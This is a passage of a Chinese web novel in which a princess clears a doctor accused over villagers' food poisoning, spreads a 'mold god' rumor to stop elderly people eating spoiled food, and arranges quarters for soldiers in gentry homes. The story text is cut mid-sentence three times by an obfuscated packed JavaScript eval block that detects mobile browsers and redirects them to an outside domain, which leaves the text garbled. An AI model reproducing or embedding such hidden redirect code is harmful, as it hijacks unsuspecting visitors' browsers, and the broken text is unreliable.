姜柠觉得这样不对,为什么很多女人活在这世上,却一点活着的痕迹都没有,就像一粒尘埃消散在大地中? 她产生了一个想法,她要替这座城里没有名字的女人取名。 这时,系统出现在她面前:“姜柠,你如果做成这件事,能加不少积分。” 姜柠用意念跟系统交流:“你怎么出来了?” “我随时随地都可以出来。刚才你产生了一个不错的想法,我必须出来提醒你,把这个想法落实,因为这跟你的积分有关。我怕你后面忘了。” “谢谢。经过你的提醒,我不会忘记的。” 系统点了点头,就消失了。 又等了一会,海云浦大夫被带来了。 他是一个干瘦的老头,看着有六十多岁了,颔下有几根白须,神情有些不悦。 他在拜见姜柠的时候,也是这副神情。看来他不是突然因为什么事感到不高兴,而是长年累月的不高兴,造成了如今这副不悦的神情,已经改不过来了。 姜柠心想,这个海大夫一生中可能遭受了很多质疑、误解,所以才是这样的面相。 姜柠把几个村民状告他的事说了,问道:“海大夫,这几个村民说,他们的父母是喝了您的药之后晕倒的,您有什么要辩解的?” 海云浦道:“反正发生什么坏事都是因为我呗,要是病好了就是他们自己有本事。” 一个村民道:“难道不是吗?” 海云浦瞪了他一眼,没有说话。 姜柠对那几个村民道:“本公主在询问海大夫,你们不要多嘴。” 接着,姜柠和颜悦色地问海云浦:“海大夫,您确定您开的药没问题吗?一共有十个老人晕倒,此事非同小可。如果不解释清楚,您是要被治罪的。” 海云浦道:“我开的药都没问题,除非那些老人自己往里面加了什么乱七八糟的偏方。” 一个村民道:“你胡说,我们的父母根本没有加其他药材进去!熬药的药渣在这里,你自己看。” 余县丞把药渣给海大夫看,海大夫看了之后,说道:“没错,这就是我开的药,一点也没多,一点也没少。按照正常的方式服用的话,今天应该已经好了,怎么可能晕倒呢?” 一个村民道:“可就是晕倒了,你怎么解释?” 16. 孩子(修) 海大夫:“你们父母这些天有没有再吃变质的食物?” “肯定没有,上次他们就是因为吃了变质的饭菜才食物中毒的,我们千叮咛万嘱咐,让他们不要再吃,他们不可能再吃了。” 海云浦:“他们肯定是趁你们不注意的时候吃了馊掉的饭菜。” “绝对没有!” 海云浦:“你们一天到晚盯着父母,一刻也没有离开过?” “这……肯定不可能时时刻刻盯着他们啊,但我们跟父母吃饭都是一起吃的,我们吃啥他们就吃啥,这都是我们亲眼看见的。” “他们肯定吃馊饭了,不是这样的话以后我跟你姓。” “我说海大夫,您怎么能胡说八道呢?明明是你的责任,怎么说成是我们父母的责任?” “那现在就去你们几家看看,我得看看你们父母的情况,才能下定论。” “我们的父母就是被你治晕的,我们可不敢再让你去看。” “不行,我一定要去看,不然没法还我清白。” 姜柠道:“正好这位邵大夫也在这里,让他一起去会诊吧,这样你们应该放心了?” 有个村民为难道:“请两个大夫去看?那这诊金……我们付不起啊。” 邵大夫道:“放心,这是在查案子,我免费出诊,不收你们钱。” “哎呀,那太谢谢了。” 几个村民亲切地握住了邵大夫的手,不停地感谢。邵大夫尴尬地笑了笑,抽回了手。 海云浦大夫在一边冷笑。 为了查清这是怎么回事,姜柠决定亲自走一趟方家村。 她带上几个衙役,准备出发。 余县丞道:“公主,您要去乡下?路途颠簸,不太好走啊。” “没关系,就当郊游了。” “那多带几个人去,再叫一队士兵来,还得带点干粮、水,还有驱蚊虫的香囊。” 姜柠见他如此紧张,有些好笑。但又觉得余县丞紧张也是有道理的,姜柠是和亲公主,可不能出一点差池。 姜柠决定听他的,带上一队士兵、干粮、驱虫香囊等物品,坐上马车浩浩荡荡地出发了。 其他人自然是走路。 几个村民小心翼翼地问道:“公主,您还要带这么多士兵去啊?这一点小事,不必这样吧……” 姜柠道:“当然要带士兵,如果查出有人搞鬼,马上就让士兵抓了那人。” “是……是……” 几个村民对海云浦道:“海大夫,听见了吗?这些士兵都是去抓你的。” 海云浦:“……你们爹娘就多余生你们。” 众人吵吵嚷嚷的,来到了方家村。 余县丞下令,把十名昏迷的老人抬到同一家,这样方便一起诊治。 很快,十名老人就躺在了村民方大志家中。 海大夫和邵大夫把几个老人都看了一遍,得出一个一致的结论:这些老人一定是吃了发霉的剩饭剩菜,现在必须催吐。 几个告状的村民还不信,两位大夫已经开始按压老人们的穴位,进行催吐。 因为老人们已经昏迷,没法吃下催吐药,所以按压穴位催吐是最快的。 很快,这十位老人都吐出很多东西,清醒了过来。 他们吐出来的东西臭秽难闻,让人避之不及。 家中的女眷赶紧把这些呕吐物清理了。 两位大夫又让这些老人喝下温盐水,老人们逐渐恢复了力气。 海云浦问他们:“你们是不是又吃了发霉变质的食物,才导致昏迷的?” 谁知,这些老人纷纷否认:“没有啊,我们没吃。”“是啊,上次就是因为吃了剩饭剩菜才食物中毒的,我们怎么可能犯第二次错误?” 听见老人们这样说,海云浦气得吹胡子瞪眼的,而老人们的子女则纷纷指责海大夫。 “海大夫,您怎么能把责任推到我们爹娘身上呢?分明是你之前开的药不对。” “就是,一把年纪了,还推卸责任。” “还是个大夫呢,这个样子哪里配当大夫?” 海云浦一拍桌子:“岂有此理!” 他指着那些老人骂道:“你们吃了剩饭剩菜还不承认,让我背黑锅。” 他又指着老人的子女们骂道:“你们做儿女的,老人吃了剩饭剩菜你们都不知道,他们在撒谎你们也分辨不出来,也来怪我。” 姜柠看着眼前的场景,觉得有些疑惑。 两位大夫按照催吐的方法把几位老人治好了,这说明他们的判断是对的,几位老人确实吃了变质的食物。 可是,这些老人为什么又信誓旦旦地否认呢? 海大夫和老人们的说辞,都很坚决,难以判断孰是孰非。 余县丞年长,经验丰富,悄悄对姜柠说道:“我看,八成是这些老人吃了剩饭剩菜但不承认,需得找出其他的知情人,还海大夫一个清白。” 姜柠也小声道:“可是,这些老人说他们没吃,而且表情很坚决,一点也不心虚。” “有些老人撒起谎来就是这样的,不能仅凭他们的表情来判断。” 姜柠想了个办法,故意说道:“好了,现在几位老人也没事了,这状也不必告了吧?方大志等人撤诉,留在家中好好照顾父母吧。海大夫也赶紧回家吧。” 姜柠本想装出一副不再深究的样子,让老人们放松下来,然后她再杀个回马枪,偷偷找几位老人的邻居询问,看几位老人是不是吃了变质的食物。 谁知,听见姜柠说不追究,老人们的其他儿女急了。 “不行啊公主,必须让海大夫赔钱!” “没错,我们的父母上了年纪,经不起折腾。现在虽然被救活了,但身体肯定亏损了,影响寿命,不能就这么算了。” “如果不惩罚海云浦这种庸医,岂不是让他得了意,将来他更加可以随便开药了?” 海云浦怒道:“都说了你们爹娘的昏迷跟我没关系!上次给他们诊病的时候,我就说过,如今天热,剩饭剩菜绝对不能吃了,是他们自己不听。我开的药都是有效果的,他们本来早就该好了,都是自己作的!” 见海云浦这样说,这些子女们更加激动,围着海云浦吵架。 海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146959|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云浦只有一个人,而且嘴皮子没那么利索,虽然生气,但也吵不过这么多人。 姜柠赶紧让衙役上前,把那些子女拉开,把海大夫保护起来。 这时,那几个老人却对自己的子女说道:“算了,让海大夫走吧,别让他赔钱了。”“是啊,我们都好了,没事了,别为难他了。” 见老人们是这样的态度,姜柠反而有了判断:也许这些老人是心虚,所以想赶紧让海大夫走。如果他们真的没吃剩饭剩菜,只是喝了海大夫的药才昏迷的,这会肯定会拉着海大夫要赔偿,不可能这么好说话的。 姜柠偷偷问海大夫:“那些老人的呕吐物,能测出是否变质吗?” 海大夫道:“很难检测,否则刚才我就先测一下呕吐物了,这样就能让他们心服口服。” “用银针可以吗?” “银针只能检测出某几类毒物,比如砒霜,很多毒物用银针是测不出来的。食物变质产生的毒性比较轻微,经过人体肠胃的消化,再吐出来,就不剩什么了。” 姜柠对十位老人的子女说道:“现在几位老人刚醒,需要休息,你们先照顾他们一阵。断案的事,一会再说。” 这些子女当中,也有一部分是关心父母身体的,因此便一心照顾起父母。但也有一些是更看重钱的,他们聚在一起窃窃私语,时不时朝海大夫这边看来,似乎在盘算什么。 姜柠跟一个衙役说了几句话,衙役领命而去。 过了一会,这个衙役带着几个孩子过来,对他们说道:“你们把刚才说的话,再说一次吧。” 有个红衣服的小男孩说:“今天早上,爷爷奶奶起了个大早,把泔水桶里的肉吃掉了,然后喝了药,没过多久就昏迷了。” 又有个蓝衣服的小女孩道:“今天早上,我看见我爷爷奶奶从柜子里面拿出不知道放了多久的糕点,偷偷吃掉了。那些糕点都长绿毛了。我不让他们吃,他们却叫我不要说出去。然后没过多久,他们就晕了过去。” 剩下的几个小孩,也都说出类似的话。 这几个孩子,都是十个老人的孙子辈。他们都跟自己的爷爷奶奶睡,而且小孩也醒得早,所以看见了自家爷爷奶奶吃变质食物的经过。 这些老人不约而同地叫孙子孙女们保密。 姜柠也是灵机一动,才想到找小孩作证的方法。 她看这些老人都有好几个儿女,那么孙子辈应该也不少。她看见外面有很多小孩在玩,其中必定有一部分孩子是这十名老人的孙子孙女。 因此,她偷偷叫一个衙役去买了糖,然后去找那些玩耍的孩子,告诉他们,谁能说出自己的爷爷奶奶早上吃了什么不好的东西,就能获得一包糖。 于是,当事人的孙子孙女把自己看见的全都说了出来。 那个衙役见套出了话,就把糖分给了他们,然后把他们带了过来,让他们把自己看见的事再说一次。 见自己的孙子孙女已经说了实话,那几个老人有些心虚,但他们的儿女却有些生气,认为孩子们在说谎。 他们有的责骂孩子,有的反复询问孩子,希望孩子们改口。 17. 霉运(修) 可是,不论大人怎么对待,这些孩子们都不改口。 “刚才这位衙役叔叔说了,说谎的不是好孩子。” “没错,我们要诚实,说实话。” “我们的爷爷奶奶确实吃了变质的食物。” 海云浦大夫松了一口气,对那几个告状的村民道:“怎么样?我的药没问题吧?是你们自己的爹娘不遵医嘱,可不关我的事。” 这些老人的儿女们又开始责怪老人,说他们不该吃变质的食物。 “爹,娘,前几天你们就是因为食物中毒,才请了大夫来看的,怎么又会继续吃变质的东西?” “是啊,我们还以为是海大夫开的药有问题,去衙门告状了呢。闹出这么大的笑话,都怪你们!” 有几个老人不敢说话,也有几个老人不服,争辩道:“我没觉得今天早上吃的东西馊了啊,我吃着都挺好的。” “以前吃剩饭剩菜,也没什么大事,怎么偏偏今天就晕倒了?” “那些剩饭剩菜都还能吃,为什么要扔掉?” 儿女们气得不行,又要争吵,姜柠赶紧劝说这些老人:“老人家,你们想节约一点没什么,但是变质的食物绝对不能吃,要不然伤了身体,岂不是亏大了?如今天气炎热,食物很容易变质,跟冬天没法比。” 没想到,有几个老人说道:“我们可以被毒晕、毒死,但食物不能浪费。” “没错,食物是珍贵的,必须吃完。” 姜柠哭笑不得:“难道一点点食物比你们的命还重要?” 有个老太太道:“那是当然,没食物就要饿肚子。比起饿肚子,宁可被毒晕或毒死。” 有个老头也点头道:“没错,我们已经活够了,什么时候死都没关系。” 姜柠很惊讶。 她不知道这些老人是为了不认错,还是真的不在意自己的生命,才说这种话。 她觉得自己有点生气,有点无奈,还有点想笑。 老人们的儿女自然情绪更加激动,或是气愤,或是冷笑,或是鄙夷,或是怜悯,种种情绪在她们脸上变换,就像打翻了酱油瓶。 这几家人动静闹得这么大,引来了其他村民的围观。 其他村民纷纷劝告自己的父母:“如果继续吃剩饭剩菜的话,结果就会像那几名老人一样。” 其他村民的父母却不以为然:“他们晕倒,是因为运气不好,给我吃的话我就不会晕。”“对,我身体好,吃点剩饭剩菜也没事。” 其他村民也露出了无奈的表情。 姜柠看得很感慨,对余县丞道:“吃馊饭对身体不好,是明摆着的事,可为什么这些老人一个比一个固执?难道他们连基本的思考能力都没有?” 余县丞道:“普通百姓家都不富裕,这些老人节衣缩食习惯了。就算知道食物发霉变质,也舍不得丢。这是很难改变的。” “说到底还是太穷了啊。如果让百姓都变得有钱,他们的饮食习惯就能改过来了?” “也许能改一部分,但要完全改过来有点难。节约的观念已经根深蒂固了,要连根拔除谈何容易。” 姜柠也没什么办法,只能先回去了。 海大夫、邵大夫也回了各自的家。 系统对姜柠道:“姜柠,你还了海大夫的清白,获得三百积分。” “好的。” 忙了一天,姜柠回到自己的房间。 冬香和小雪给她泡脚、捏肩膀。 姜柠说道:“为什么会有人完全不在乎自己呢?” 冬香问道:“公主这话是什么意思?” “就是今天,我处理了一个案子……” 姜柠把几个老人的食物中毒案说了,感慨道:“如果是被别人下毒,那是防不胜防的,官府还能为他们主持公道。可是那些老人明知道食物馊了,吃下去可能对身体有害,竟然还要吃,这不是自己给自己投毒吗?要是因此重伤或是死了,岂不是自找的?他们的子女因为不清楚情况而报官,岂不是浪费官府的人力物力?” 冬香道:“很多普通人都是这样的,他们把自己看得很轻,把钱和孩子看得很重。因为不在乎自己的命,所以会做出很多奇怪的事,比如吃馊饭,生病了硬拖着不去治,把小病拖成大病。还有些老人晚上起来舍不得点蜡烛,结果摔倒了,花很多钱治病。这些都是因小失大的例子。” 小雪道:“我还听说过有些人把发霉的药屯着不扔,生病的时候就喝那些发霉的药,结果病情越来越严重的。” 姜柠道:“物尽其用是可以的,但也要看这些物品有没有害啊。” 冬香:“也许是很多人不够聪明吧。或者是心存侥幸,觉得不会出事。” 小雪道:“我看,还是别琢磨这些了,他们爱干什么就干什么呗。只要不是公主的家人做这种事就好了。” 姜柠点了点头,直接睡觉了。 今天她忙活了许久,有点累了。 第二天清晨,她忽然灵光一闪。 她来到公廨,见余县丞已经来了,便对他说道:“余县丞,我想到一个好办法。” 余县丞有些困惑:“公主在说什么?” “我有办法让那些老人不要吃变质的食物。” “什么办法?” “咱们找人散播一些言论,就说吃发霉的食物,就会吸引霉神来自己家。霉神来了之后,就会带来霉运,影响儿孙的运势,会破财。” 余县丞眼前一亮:“妙啊!公主,您是如何想出这么妙的主意的?” “因为我聪明。” “公主确实聪慧过人。属下这就派人散播这些言论,看看效果。” “嗯,要做得不着痕迹,不能让人发现是我们主导的。” “公主放心。” —— 在方家村附近有一座小庙,村民们没事就会去拜一拜。 今天,来拜神的百姓发现供桌上多了一尊神像。 只是,这尊神像有点破旧,上面还有很多灰,面貌也很模糊,认不出是什么神像。 一个妇女问庙祝:“那尊神像是哪位神仙啊?” 庙祝摇头晃脑地说道:“这是霉神。” “霉神?没听说过。” “霉神是掌管霉运和发霉食物的神。谁家有发霉的食物,霉神就会去他家。” “真的吗?霉神来了之后会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146960|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样?” “当然会倒霉,不然怎么叫霉神呢?” “可是神仙不都是保佑什么的吗?” “对,霉神会保佑你家一直有霉运,会破财。” “啊,那我不要……怎样才能让霉神不去我家啊?” “只要不保存发霉的食物、药品就可以了。” “就这么简单?” “这可不简单,你自己做到不难,难的是让家里的老人也做到。” “这倒是,我回去就劝我爹娘,让他们别老把食物放发霉了再吃。” 其他村民也如临大敌,赶紧回家告诉自己的家人。 之前那些把变质食物视若珍宝的老人们,听了这些传言,争先恐后地扔掉了发霉的食物。不仅家里没有怪味了,家庭成员也和谐了。 有几个平时很吝啬的老人还破天荒地把新买的水果给孩子们吃。 孩子们十分高兴:“太好了,终于不用每天吃瘪掉的水果了!原来新鲜水果这么好吃!” 孩子们把新鲜水果吃完了,老人们看着那些干瘪的、已经微微发霉的水果,狠了狠心,直接扔掉了。 他们以前从来没这么做过,简直比割肉还疼,但一想到留下发霉的食物就会吸引霉神,影响后代财运,他们又逼着自己舍弃了这些腐烂的食物。 —— 姜柠在公廨里处理公务,忽然听见系统说话:“姜柠,你想出来的办法太绝了,现在好多老人都扔掉了发霉的食物,你获得了五千积分。” 姜柠:“效果这么立竿见影的吗?” “对啊,你跟那些老人讲大道理没用,但他们一听说自己的行为会影响后代的财运,马上就改正了。” “不错不错,还得是我啊,哈哈哈。” “你不仅无形中挽救了那些老人的健康,还能让百姓家中少了很多争吵,必须夸夸。” “我真棒!” 姜柠心情很好。 她接着问系统:“我这个霉神的传言是不是能影响更多的人?” “对,会在一定范围内产生影响,这个传言会口口相传,以后会有更多的人不敢吃发霉的食物。” 姜柠正在高兴,忽然衙役来报,说是门外有二十几个孩子一起来告状。问他们是什么事,他们也不说。 有个小吏道:“孩子能有什么事,八成是为了争一点糖果发生矛盾了,别让他们进来了。” 姜柠道:“还是叫进来问问吧,万一有什么大事呢。” 余县丞道:“等等,不是那群会偷钱袋的野孩子吧?” 衙役道:“不是他们,是另外一些孩子。” “那就行。” 过了一会,那二十几个孩子进来了。 他们当中最大的不过十二三岁,最小的看着才两三岁,刚刚学会走路。 姜柠问道:“你们有什么事需要县官做主的?” 这些孩子你看看我,我看看你,都不敢说话。 姜柠道:“别怕,无论有什么事,说出来就好。就算我们帮不上忙,也不会怪罪你们的。” 这时,最年长的一个孩子说道:“公主,您的地位是不是比将军高?” 18. 矛盾(修) 姜柠笑道:“表面上是这样吧。不过将军保家卫国,是功臣,手上也有很大的权力,我是没多少权力的。” “这么说,将军比您大?” “也不是。这挺复杂的,三言两语说不清。你问这个干什么?” “我……我就是想问问,您能不能管理将军和他手下的士兵?” “这肯定不行,只有皇上有权管理他们。” “那我们不说了,我们先走了。” 说着,那个最大的孩子就拉着其他孩子往门口走。 姜柠吓了一跳,听这孩子所说的话,莫非是任将军或是士兵们给他们气受了?但这应该不可能啊,任将军治军严明,爱护百姓,不允许士兵们欺负百姓或是拿百姓的财物的,一旦发现必定严惩。 为了避免误会,姜柠叫住他们,问道:“怎么刚来就要走?莫非是任将军或者士兵们欺负你们了?你们尽管说就是,不会被惩罚的。” 孩子们犹豫了一会,又留了下来。 最年长的男孩道:“也不是欺负我们吧,就是我们家里都住了好多士兵,怪不方便的。我们家里都很穷,但是因为士兵们住在这里,父母每天都要好吃好喝地供着他们,有什么好东西全给士兵们吃了,我们只能吃一些很差、很难吃的东西。 如果只是住几天倒还罢了,但我们不知道他们还要住多久。我们问父母,父母都说不知道,还说让我们不要问。可是,我们真的很希望这些士兵能够离开,他们不是有兵营可以住吗?” 姜柠道:“栾伊城太小了,兵营也不大,只能住几千士兵,剩下的士兵只能分散在百姓家里,这也是没办法的。要不这样,我去跟任将军说一下,让士兵们不要吃太好的饭菜,跟百姓们吃一样的就可以了。” 那个男孩道:“任将军确实是这么说的,说让百姓们不要太费心,家里有什么就给士兵们吃什么,要是食物短缺,就让士兵们去挖野菜、打野味,不要硬撑着不说。可是,实际上我们的父母都不敢怠慢士兵,都会把最好的食物、最好的房间和被褥让出来给他们。” 姜柠问:“借住你们家里的士兵,看见你们吃得差。穿得差,有什么反应吗?” “他们会叫我们一起吃,可父母不许我们上桌,说是士兵们要保护边境,必须吃好喝好,我们怎么样都能活。可是,我觉得这些士兵没什么用,要不然怎么会把容城丢了呢?要不是容城失守,他们也不会进到栾伊城来,我们也就不用跟他们挤着住。” 有个小女孩道:“自从有六个士兵住进我家,我和妹妹洗澡都不敢在家里洗,要走很远的路去外婆家洗,因为我外婆家没有外人住着。” 又有一个七八岁的小男孩道:“我娘怀孕七个月了,每天只能喝点菜汤,连鸡蛋都舍不得吃。家里有了鸡蛋,都要留给士兵们,我觉得很不公平。” 姜柠道:“容城失守,原因很复杂,不能怪在士兵们头上。他们也不想打扰百姓,实在是兵营里住不下。我会去找任将军商量一下,看有没有更好的方法。” 有个孩子道:“大街上不很空吗?他们就不能睡大街吗?” 有几个小吏听了这话,面露不忿之色。 姜柠耐心解释道:“睡大街肯定不行,风吹雨淋的,身体很快就垮了。如果士兵们身体垮了,谁来保护栾伊城?现在是非常时期,大家都互相体谅一下吧。” 余县丞道:“士兵们住在百姓家里,也会帮忙耕地和干活吧?不算白吃白住。” 年长的男孩道:“他们会帮忙干活,但也只是在有空的时候。他们大部分时间都在操练或者打仗,有时候打得一身伤回来,还得我们的家人照顾他们。而且,我们都是穷人,家里也没有那么多地要耕,我们自己能干完农活。要论干其他家务,他们又不太行。之前有一次,他们一定要给我们全家洗衣服,结果洗坏了好几件。” 另一个男孩道:“那是我们自己的家,我们的家人花钱建的房子,有权决定谁能住谁不能住吧?” 余县丞冷着脸道:“你们不让士兵待在这里,敌国马上就打过来,到时候栾伊城也会沦陷,你们不止房子不保,性命也不保。别再说这种话了,不然就拿木棍打你们出去。” 孩子们不敢再说什么,转身离开。 这时,有个三岁的小女孩哭了起来:“我的木头小马和小木床没有了……” 姜柠问道:“这是怎么回事?” 小女孩的姐姐说道:“今天我们家柴火不够了,为了给士兵们做饭,我爹就把妹妹的木头小马和小木床劈开,当柴火烧了。妹妹很伤心,我怎么安慰都没用。” 姜柠道:“你们先回家吧,我会想想解决办法的,不会一直让你们受委屈。” 孩子们纷纷离开了。 有个衙役说道:“这些孩子真不懂事!” 姜柠道:“士兵们住在百姓家里,确实对百姓的生活产生一些影响。孩子们没有那么多顾忌,直言不讳,也不能怪他们。” 余县丞道:“我只怕对士兵们有意见的,不止这几个孩子啊。” 姜柠问道:“余县丞的意思是?” “我想,很多大人可能也有所不满,但不会说出来。今天这么多孩子一起来告状,恐怕背后也有大人的暗示。士兵们暂住百姓家,短时间内可能还能和谐相处,时间长了,摩擦是免不了的。到时候,百姓和士兵矛盾不断,敌人就可利用此内乱,趁虚而入。” 姜柠道:“确实有这种可能。现在一户百姓家里住了多少士兵?” 余县丞:“栾伊城总人口在一万左右,大概只有两千多户人家。士兵有两万人左右,其中五千住在兵营里,剩下一万多士兵分散在这两千多户人家,平均每一家要住八到十名士兵。有些人家实在太穷,缺衣少食的,就没安排士兵住进去。所以,剩下的人家,住的士兵就多了些。” 姜柠沉思道:“这人口确实密集了一些……哪怕百姓们深明大义,知道要照顾好士兵,但过日子哪有没矛盾的,这么多人挤在一起也不是个事……” 姜柠觉得,刚才余县丞的考虑有道理。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146961|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>哪怕这些百姓们都很善良,很好客,但这些士兵们是住一天,还是住一个月,或是住一年,差别很大。 有句俗话说,久住令人嫌。 就算士兵们积极帮助百姓干活,尽量不给他们添麻烦,并照顾他们的孩子,但长时间同处一个屋檐下,难免尴尬。 只是,眼下也没有更好的办法。 任将军住在乡绅林家,姜柠便去林家找任将军,说了这事。 任将军道:“我也深知军队驻扎在此,给百姓造成许多不便。但是,若要扩建兵营,钱不够,物资不够,最重要的是空间不够。” 栾伊城太小了,除了民居、田地、山林之外,剩下的空地不多。 如果要把剩下的一万五千士兵塞进只能容纳五千人的兵营里,所有的士兵都会住得不舒服,而且人口密度过大,也容易生病。 一旦疾病蔓延开来,很快就会感染全军。到时候军队失去了战斗力,更没法防守边境了。 他们商量了一会,没什么更好的主意。 姜柠道:“为今之计,似乎只有尽快把容城夺回来了。容城比较大,士兵们驻扎在那里就没问题。” 任将军道:“夺回容城的事需要从长计议,不能盲目攻打,否则只会造成更多不必要的损失。” 姜柠点头:“确实如此,我只是随口一说。” 这时,林家的家主林盛知道姜柠来了,便来到客厅,对姜柠道:“公主大驾光临,草民有失远迎。不如让草民陪公主逛逛林家的园子如何?” 姜柠道:“也好。” 林盛便和自己的夫人一起陪姜柠逛逛。 林家挺大的,花园也建得不错,里面还有一些边境地区不常见的植物,比如粉团蔷薇、蓝睡莲、虞美人等。 回廊曲折,草木葱茏,墙上还有彩绘,十分精致。 湖边建有几座小楼,门窗都紧闭着。 林盛说道:“这些小楼都是草民的子女所居住的。” 姜柠问道:“他们每个人一幢小楼?” “是的,从窗户那边就能看见湖景,视野不错。” 姜柠又远远地看了一眼后宅,发现房屋林立,大约有二十多间房。 林夫人要带姜柠去后宅参观,姜柠道:“还是不去了,我还有点事,多谢林员外、林夫人盛情款待。” 姜柠回到了客厅,对任将军道:“任将军,林家住了多少士兵?” 任将军:“林家在本地是有头有脸的人家,我没让士兵住进来,以免损坏了他们精心打造的宅院。这里只住了我和另外五位副将。” 姜柠:“我刚才转了一圈,觉得林家挺大的。如果林家能把所有的空地都暂时捐献出来,给士兵们居住,应该能容纳几百士兵。花园里也可以住人,只需要在顶上拉一块防水布,不让士兵们被雨水淋到就好。 像林家这样的人家,城内应该还有一些。如果每一家富户都能容纳几百士兵的话,普通百姓家的压力会小一些,也能减少士兵们和普通百姓之间的矛盾。” 19. 天才(修) 任将军犹豫道:“可是,这些乡绅人家终究是有所不同的……而且,他们家中还有年轻女眷,怕是不太方便。” 姜柠:“咱们可以跟这些乡绅富户商量一下,让他们把年轻女眷送到其他地方的亲戚家或是别院去住,这样既能空出更多的房间,也能避免尴尬。等以后军队缓过来了,或是夺回了容城,或是有了其他去处,就不用挤在百姓家了。 到时候,咱们把这些富户家的房间都复原,有损坏的东西都原样赔偿,并且给这些富户们一些好处。具体要什么好处,看他们自己的需求。 我想,如今衙门里缺人手,直接让富户们派一个识文断字的子弟来当吏员,也是可以的。” 任将军想了想,道:“也是个办法。正好我也想向他们筹措军费。我召集所有的乡绅,跟他们商量一下。” 姜柠:“城内一共有多少乡绅?” “比较有钱的有四家,次一等的也有二十来家。” “嗯。” 任将军让士兵们分别去找这些富户乡绅的家主来林家议事。 栾伊城不大,这些富户又都给任将军面子,因此很快都聚集在了林家的客厅。 任将军说明了来意,并许诺道:“凡是愿意暂时让出自家宅院给士兵们暂住的,按照面积大小,分别给与每家五百两至八百两的军队债券。时间越长,利息越高。同时,每家可以出一个识文断字的人,直接成为栾伊城的小吏。 如果士兵在入住期间,对众位的家宅有所损坏的,虎贲军会照价赔偿,或是原样恢复。 诸位家中的女眷,可以送往其他地方,路费也记在虎贲军账上。 另外,本将军要向众位员外筹款。愿意借钱给军队的,借一千两以上,本将军可以推举他家的一名孩子入国子监学习。借两千两以上的,可以推举两名。凡是借款,均有军队债券为凭证,等有钱了就会本息照付。” 军队债券,是军队军费不足时,向民间筹款所发的一种债券。 百姓们借钱给军队,军队出具凭证,写明某年月日,某人捐助军队多少银两,利息是多少。 等国库充裕,并拨款给军队,将军就能把欠百姓的钱换上,并且交付利息。 只要国家比较强盛,信誉较好,有钱的百姓们是挺愿意买这些债券的,这算是一种比较稳的投资。 民间的投资风险较高,但借给国家钱,只要国家还在,债务就有偿还的一天。 不过,军队债券也是有额度的,不能任意发售。 任将军刚才说,凡是借地方给士兵住的人家,就可以得到五百两至八百两的军队债券。也就是说,这些富户不需要真的借钱给军队,就能得到债券,到时候凭借债券领取本金和利息。 而这一笔钱,足以覆盖租金了,还剩余很多。假设他们把自家的房间都租出去,一年也只能收租几十两。 更何况,他们平时也不会出租自家的房屋。 现在借给士兵们住,能白得一笔钱,还能卖任将军一个人情,而且任将军还许诺了一些好处,乡绅们都同意了。 乡绅林盛说道:“我家的房屋加上花园,如果都住满人的话,大概能容纳三百多个。我会和家人一起搬走,等什么时候军队开拔了,我们再回来。” 有个叫莫承业的乡绅道:“我家也能住三百多人,之前我就跟任将军说过,可以让士兵们住进来,任将军说怕损坏我家的房屋花园,没有同意,我还深以为憾。没想到,现在任将军愿意让士兵们住进来,也能稍稍尽一点我的心了。” 乡绅刘俊道:“我也没问题,而且我家没有年轻女眷,只有几个未成年的儿子,他们尚未娶妻。我的夫人也已经年老,不必避嫌。到时候,我们一家全都住在一间房里,其他房间让给士兵们住。” 其他乡绅也纷纷表态,任将军感激地对他们抱拳施礼:“多谢各位员外鼎力相助,这个人情任某记下了。” 乡绅林盛说道:“任将军客气了。只是,您刚才说,可以让我们几家的晚辈去当个小吏。听说主簿和典史之位也空缺,不知能不能补上这两个缺?” 林盛这么一问,其他乡绅也都纷纷看向任将军,心思各异。 主簿和典史属于小官,虽然跟普通的官没法比,但地位比起小吏来还是要高一些的。 因此,这两个位置,乡绅们都想争取。 任将军道:“主簿和典史比较重要,本将军不能轻易许诺。以前这两个职位都是吏员经过考核才能升上去的,以后也还是根据考核结果来吧。” 这个考核比较难,每一科都要达到一定的标准才能升,并不是考前几名就一定能升上去。 所以,栾伊城虽然有二十多个吏员,却没有人升为主簿和典史。 乡绅刘俊道:“若是我家能提供较多军费,不知我儿子是否有机会免除考核,直接升为主簿或典史?” 任将军道:“这不太行,朝廷升官自有规制,本将军也不能破例。吏员的要求较低,所以本将军可以许诺吏员之位,只需要去跟潘县令打个招呼便好。但更高的职位,本将军和潘县令都不能通融。” 见任将军把话说得这么明白,乡绅们也不好意思再说。 他们其实不太看得上吏员的位置,因为吏员地位低,工钱少,事情又多,可以说处在衙门的底层。而且,吏员很难变成正式官员。 不过,国子监的入学名额倒是不错。 